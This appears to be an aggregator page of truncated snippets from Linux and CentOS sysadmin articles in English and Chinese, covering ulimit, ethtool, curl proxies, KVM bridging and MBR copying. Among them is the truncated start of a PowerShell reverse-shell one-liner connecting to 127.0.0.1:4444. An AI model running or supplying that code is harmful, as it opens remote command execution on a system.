https://www.cyberciti.biz/faq/howto-change-rename-user-name-id/…
To change Speed and Duplex of an ethernet card, we can use ethtool - a Linux utility for Displaying or Changing ethernet card settings.   1. Install ethtool You can install ethtool by typing one of the following commands, depending upon your Linux di…
In this Document   Purpose   Questions and Answers   What kind of statistics do the Automated tasks collect   How do I revert to a previous set of statistics?   Does the automatic statistic collection jobs populate CHAIN_CNT?   11g+ Automatic Mainten…
https://www.cyberciti.biz/faq/linux-show-directory-structure-command-line/ Linux: HowTo See Directory Tree Structure last updated January 17, 2015 in CategoriesBASH Shell, CentOS, Debian / Ubuntu, Linux, Mac OS X…
Shell终端配置 How to: Change / Setup bash custom prompt (PS1) 参考链接:https://www.cyberciti.biz/tips/howto-linux-unix-bash-shell-setup-prompt.html Most of us work with a shell prompt. By default most Linux distro displays hostname and current working direct…
整理基础的CentOS常用命令 http://os.51cto.com/art/201003/190801.htm 在Hyper-V中的CentOS虚拟机中使用网络 http://blog.earth-works.com/2013/04/12/how-to-get-networking-working-in-centos-under-hyper-v/ Linux中常用缩写: http://blog.csdn.net/jincf2011/article/details/6362935 http:/…
https://blog.csdn.net/king_wang10086/article/details/76178711 [root@jenkins ~]# yum install -y ntpdate Loaded plugins: fastestmirror, security Setting up Install Process Loading mirror speeds from cached hostfile * base: mirrors.aliyun.com * extras:…
Python IDLE (Integrated Development and Learning Environment) 是一个官方的轻量级 Python IDE.在不同的 Linux 的发布版本中,其安装命令有所不同,具体如下: 1. CentOS / Fedora / RHEL(Red Hat Enterprise Linux) 对于这些 Linux 发布版本,IDLE 工具包含在 python 工具包 python-tools 或 python3-tools 中.其具体的安装命令如下:…
Extended Karman Filter Zhenglei 2018 January This is a project to estimate the car position from Lidar data and Radar data. Lidar data is using Kalman filter. Radar data is using Extended Karman filter, because the radar data is provided by non-linea…
#zlib zlibmodule.c -I$(prefix)/include -L$(exec_prefix)/lib -lz Modules/Setup.dist https://askubuntu.com/questions/661039/trouble-with-zip-support-in-custom-python-build-zipimport-zipimporterror-cant yum -y install gcc gcc-c++ zlib*; wget https://www…
#zlib zlibmodule.c -I$(prefix)/include -L$(exec_prefix)/lib -lz Modules/Setup.dist https://askubuntu.com/questions/661039/trouble-with-zip-support-in-custom-python-build-zipimport-zipimporterror-cant yum -y install gcc gcc-c++ zlib*;wget https://www.…
Linux & terminal color & command line color how to change Linux terminal color https://askubuntu.com/questions/558280/changing-colour-of-text-and-background-of-terminal https://askubuntu.com/a/558422 # 92: Light Green # 107: White (don't use with…
一.安装JDK 1.首先到官网上下载jdk-7u79-linux-x64.tar.gz. 2.将jdk-7u79-linux-x64.tar.gz拷贝到/usr/lib/jdk/目录下面,这里如果没有jdk文件夹,则创建该文件夹,命令: cd /usr/lib sudo mkdir jdk 我的jdk是U盘拷的,先得挂载,然后拷贝: sudo mount /dev/sdc4 /mnt/ //挂载U盘 sudo cp -a /mnt/jdk-7u79-linux-x64.tar.gz /usr/l…
How do I increase the maximum number of open files under CentOS Linux? How do I open more file descriptors under Linux? The ulimit command provides control over the resources available to the shell and/or to processes started by it, on systems that a…
 英文原文链接:https://www.cyberciti.biz/faq/unix-linux-check-if-port-is-in-use-command/ Question 1: 怎样在linux或者类Unix系统上确定端口(port)是否在使用中? Question 2: 怎么在linux服务器上验证某个端口(port)正在监听中? 确定那个端口正在监听服务器的网络接口是很重要的.你需要花费精力打开端口检查是否被入侵(intrusion).除了端口入侵外,即使出于解决问题的目的,检查某…
A note about error: "cannot delete inactive domain with snapshots" You cannot delete a VM with snapshots. For example:# virsh undefine --domain openbsdSample outputs: error: Failed to undefine domain openbsd error: Requested operation is not val…
1. Mayavi:https://docs.enthought.com/mayavi/mayavi/ 适合渲染各种和图形有关的数据.在大批量处理数据时,一般不希望对每一个渲染好的对象都将其显示出来,(如1万个图形显示一万次窗口,电脑会先疯掉的) 则可以设置offscreen,不让图形渲染的窗口显示出来.详见https://docs.enthought.com/mayavi/mayavi/tips.html#off-screen-rendering mayavi的mlab,会在几乎每一次调用(包…
https://blog.csdn.net/xiangliangyu/article/details/8213127$ sudo pacman -S iotop https://blog.longwin.com.tw/2017/02/linux-find-use-swap-process-2017/單純使用到 swap 的 PID 列表可查 /proc/*/status 的 VmSwap 值$ grep VmSwap /proc/*/status 查看那些进程使用了swap:$ for file…
https://unix.stackexchange.com/questions/476351/difference-between-ulimit-lsof-cat-proc-sys-fs-file-max https://www.cyberciti.biz/faq/linux-increase-the-maximum-number-of-open-files/ https://access.redhat.com/documentation/en-us/red_hat_enterprise_li…
如何让 curl 命令通过代理访问 Linux.中国 - 开源中文社区 2018-01-18 8909 阅读 技术 我的系统管理员给我提供了如下代理信息: IP: 202.54.1.1 Port: 3128 Username: foo Password: bar 该设置在 Google Chrome 和 Firefox 浏览器上很容易设置.但是我要怎么把它应用到 curl 命令上呢?我要如何让 curl 命令使用我在 Google Chrome 浏览器上的代理设置呢? 很多 Linux 和 Un…
动手实践虚拟网络 - 每天5分钟玩转 OpenStack(10) - CloudMan - 博客园https://www.cnblogs.com/CloudMan6/p/5296573.html linux中KVM桥接网卡br0 - mergerly的专栏 - CSDN博客https://blog.csdn.net/mergerly/article/details/38422833 libvirt kvm 虚拟机上网 - Bridge桥接 - 东东东 陈煜东的博客https://www.chen…
ulimit.limits.conf.sysctl和proc文件系统 来源:https://blog.csdn.net/weixin_33918114/article/details/86882372 学习一下.   引言 当修改一个Linux系统参数或限制,比如文件打开数时,之前用到过的方式有ulimit.limits.conf.sysctl和/proc文件系统.对这几个东西一直比较困惑,翻了几篇文档,简单写一下它们之间的区别. ulimit 什么是ulimit ulimit是linux sh…
在benchmarked写的服务器的时候就遇到了too many file open 这个报错. 由于遇到过很多次了,所以知道应该是单机fd打满了. 首先来看看 机器最多支持多少fd cat /proc/sys/fs/file-max 通过上面的命令可以看到机器现在一个session 最多可以支持打开多少fd.我的机器上现在能看到的最大值是6w多个 同时我们来看看现在本机现在开了多少fd. ulimit -n 这个命令会返回目前返回最大支持的单session fd 看更多的信息可以使用 ulim…
powershell $client = New-Object System.Net.Sockets.TCPClient('127.0.0.1',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEnc…
可以用下面的两个命令来查看: cat /etc/*-release hostnamectl 参考资料 ============== How To Find Out My Linux Distribution Name and Version https://www.cyberciti.biz/faq/find-linux-distribution-name-version-number/…
https://en.wikipedia.org/wiki/Master_boot_recordhttps://www.cyberciti.biz/faq/howto-copy-mbr/https://www.cyberciti.biz/faq/linux-clearing-out-master-boot-record-dd-command/https://wiki.archlinux.org/index.php/Partitioning 要复制MBR,只需使用dd命令.dd命令也适用于所有Li…
Alpine Linux是一个轻型Linux发行版,它不同于通常的Linux发行版,Alpine采用了musl libc 和 BusyBox以减少系统的体积和运行时的资源消耗.Alpine Linux提供了自己的包管理工具:apk,我们可以通过https://pkgs.alpinelinux.org/packages 查询包信息. Alpine Docker镜像继承了Alpine Linux发行版的这些优势,相比于其他Linux Docker进行,它的体积非常小,docker.io/alpine…
之前使用网上的大部分说法,修改了两个配置文件: /etc/hosts /etc/sysconfig/network 然后,并没有什么卵用. 后来,搜阿里云配置,看到这个办法: 使用“经典网络”类型的ECS,CentOS 7.2 64位.  过程:  1. 用 hostname 命令,查看到当前主机名为阿里云随机为ECS创建的实例名:i-23jyp275r hostname 2. 如需修改为 yun.anqun.org 的主机名,则以root权限执行命令: hostnamectl set-host…
pstree(1): tree of processes - Linux man pagehttps://linux.die.net/man/1/pstree How to view process tree in Linuxhttps://www.simplified.guide/linux/view-process-tree pstree - display a tree of processes - Linux Man Pages (1)https://www.systutorials.c…
[root@vrouter1 ~]# cat /sys/devices/system/cpu/online -,,- [root@vrouter1 ~]# cat /sys/devices/system/cpu/offline ,,- [root@vrouter1 ~]# echo > /sys/devices/system/cpu/cpu34/online https://www.cyberciti.biz/faq/debian-rhel-centos-redhat-suse-hotplug-…